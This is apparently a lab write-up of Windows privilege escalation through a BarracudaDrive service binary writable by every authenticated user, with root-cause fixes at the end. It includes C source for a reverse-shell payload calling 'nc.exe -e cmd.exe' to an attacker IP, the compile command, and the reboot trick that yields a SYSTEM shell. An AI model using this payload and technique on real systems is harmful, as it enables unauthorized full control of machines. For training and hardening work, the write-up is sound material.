← Back to all writeups

Modifiable Service Binary Privilege Escalation on Windows

A running Windows service pointed at an executable that any authenticated user could overwrite. Replacing it with a payload and triggering a restart was enough to land a SYSTEM shell.

windowsprivilege-escalationservice-abusefile-permissionsmingw

Weak permissions on a service’s own executable are one of the most reliable Windows privilege escalation paths there is: if the file a SYSTEM-run service launches can be overwritten by a low-privileged account, that account effectively controls what runs as SYSTEM the next time the service starts.


Enumeration

A winPEAS pass on a shell running as a standard user (Jerren) flagged a running service with a writable binary path:

=== Modifiable Service Binaries ===
Name           : bd
DisplayName    : BarracudaDrive ( bd ) service
State          : Running
StartMode      : Auto
PathName       : "C:\bd\bd.exe"
PS C:\users\Jerren> whoami /priv

winPEAS flagging the bd (BarracudaDrive) service as a modifiable service binary, followed by whoami /priv showing SeShutdownPrivilege

Two useful facts came out of this one pass: a service called bd (BarracudaDrive), set to start automatically and already running, points at C:\bd\bd.exe — and winPEAS flagged that path specifically as modifiable by the current, unprivileged account. The plan from here was simple: replace bd.exe with a payload, get the service to restart it, and let the service’s own privilege level do the rest.


Confirming Write Access

Rather than trust winPEAS’s flag alone, the permissions on both the binary and its containing folder were checked directly:

PS C:\bd> icacls bd.exe
PS C:\bd> cacls .
C:\bd\bd.exe BUILTIN\Administrators:(ID)F
             NT AUTHORITY\SYSTEM:(ID)F
             BUILTIN\Users:(ID)R
             NT AUTHORITY\Authenticated Users:(ID)C

C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F
      NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
      BUILTIN\Users:(OI)(CI)(ID)R
      NT AUTHORITY\Authenticated Users:(ID)C
      NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

icacls and cacls output on bd.exe and its containing folder, showing NT AUTHORITY\Authenticated Users holding (C) Change rights

The (C) entry for NT AUTHORITY\Authenticated Users is the key line — Change rights include write and delete, granted to every authenticated account on the box, not just administrators. Both the file itself and the folder it lives in carry this permission, which means the binary can be overwritten (or replaced outright) by any logged-in user, despite the service that runs it being configured to start automatically with SYSTEM-level privileges.


Building the Payload

A small C program was written to drop a reverse shell via system(), calling out to a copy of nc.exe already staged on the target:

#include <stdlib.h>

int main ()
{
    int i;

    i = system ("C:\\Temp\\nc.exe -e cmd.exe 192.168.45.160 4343");

    return 0;
}

Contents of malicious.c — a system() call launching nc.exe as a reverse shell to the attacking host on port 4343

Cross-compiling it into a Windows executable from Kali used MinGW’s 32-bit Windows target:

mv malicious.cpp malicious.c
i686-w64-mingw32-gcc malicious.c -l ws2_32 -o bd.exe

mv renaming the source to a .c extension, then i686-w64-mingw32-gcc cross-compiling it into bd.exe

Breaking down the command:

  • mv malicious.cpp malicious.c — the file was originally saved with a .cpp extension; gcc (the C compiler front end) won’t compile C++ sources directly, so renaming it to .c was needed before compiling with gcc rather than g++
  • i686-w64-mingw32-gcc — the MinGW cross-compiler target that produces a 32-bit Windows PE executable from Linux
  • -l ws2_32 — links the Windows Sockets library, needed for network-capable Windows binaries
  • -o bd.exe — names the output binary bd.exe directly, matching the filename the vulnerable service already expects

Naming the compiled payload bd.exe from the start meant it could be dropped straight into C:\bd in place of the original, with no rename step needed on the target.


Replacing the Binary and Triggering a Restart

With the payload staged, the only remaining question was how to get the service to actually reload it. whoami /groups confirmed this was still a standard, non-administrator account:

PS C:\bd> whoami /groups

whoami /groups output showing only standard well-known groups — no Administrators membership

Being a standard user rules out directly restarting the service with sc stop/sc start or the Services console, both of which require administrative rights. A full machine restart doesn’t have that restriction on a workstation build of Windows, though — by default, Windows 10 Pro grants the “Shut down the system” right to the local Users group, not just Administrators. The original bd.exe was replaced with the compiled payload, and a restart was issued directly from the same unprivileged shell:

PS C:\bd> shutdown /r
[-] Session [1] died... We lost MEDJED  192.168.240.127  Microsoft_Windows_10_Pro-x64-based_PC

shutdown /r triggering a restart, with the existing session dying as the machine goes down

No special privilege escalation was needed for this step at all — a plain, unprivileged shutdown /r was enough, because the right to restart the machine was already available to this account by default.


Result

Once the machine came back up, the bd service started automatically as configured — except this time, the binary it launched was the payload:

penelope -p 4343
[+] Listening for reverse shells on 0.0.0.0:4343 -> ... 192.168.45.160
[+] [New Reverse Shell] => MEDJED  192.168.240.127  Microsoft_Windows_10_Pro-x64-based_PC  nt authority\system  Session ID <1>

C:\WINDOWS\system32>whoami
nt authority\system

penelope catching a new reverse shell as nt authority\system immediately after the machine finished rebooting

The callback landed as nt authority\system the moment the service’s auto-start fired — full SYSTEM access, reached without ever needing an administrative token at any point in the chain.


Root Cause

The bd service was configured correctly in every way that matters to Windows itself: set to auto-start, running as SYSTEM, pointed at a fixed path. The actual flaw was entirely in the filesystem ACL on that path — NT AUTHORITY\Authenticated Users had been granted Change rights on both the executable and its parent folder, almost certainly from an overly permissive install or a custom deployment that never tightened the default inherited permissions.

Fix:

1. Restrict write and delete permissions on any service binary and its
   containing folder to Administrators and SYSTEM only. No service that
   runs with elevated privileges should have a binary writable by a
   standard or "Authenticated Users" principal.

2. Audit third-party or custom-installed services specifically — commercial
   or home-grown software is far more likely to ship with loose folder
   permissions than anything from a default Windows install.

3. Use tools like icacls, accesschk, or PowerUp's Invoke-AllChecks
   routinely during hardening reviews to catch writable service binaries
   before an attacker does.

4. Consider that a standard user being able to restart the machine (the
   default on workstation editions) is enough to trigger this class of
   bug — a service restart isn't the only way to reload a replaced binary.

Key Takeaways

  • A modifiable service binary is one of the cleanest privilege escalation primitives on Windows — no exploit code is needed, just the ability to overwrite a file and trigger the service to (re)start
  • icacls and cacls are worth running directly even after an automated tool like winPEAS flags something — confirming the exact ACE ((C) for Change, in this case) makes the finding concrete
  • gcc won’t compile a .cpp file as C — rename to .c first, or use g++ if the source is genuinely C++
  • Naming the compiled payload to match the target filename from the start avoids an extra rename step once it’s uploaded
  • Restarting a service isn’t the only way to trigger a replaced binary — a full shutdown /r works just as well if the account has that right, and on workstation editions of Windows, standard users often do by default
  • Always run whoami /groups and whoami /priv after landing a shell — knowing exactly what’s and isn’t available (admin group membership, shutdown rights, impersonation privileges) shapes which privesc path is actually usable

Questions? Hit me up on X.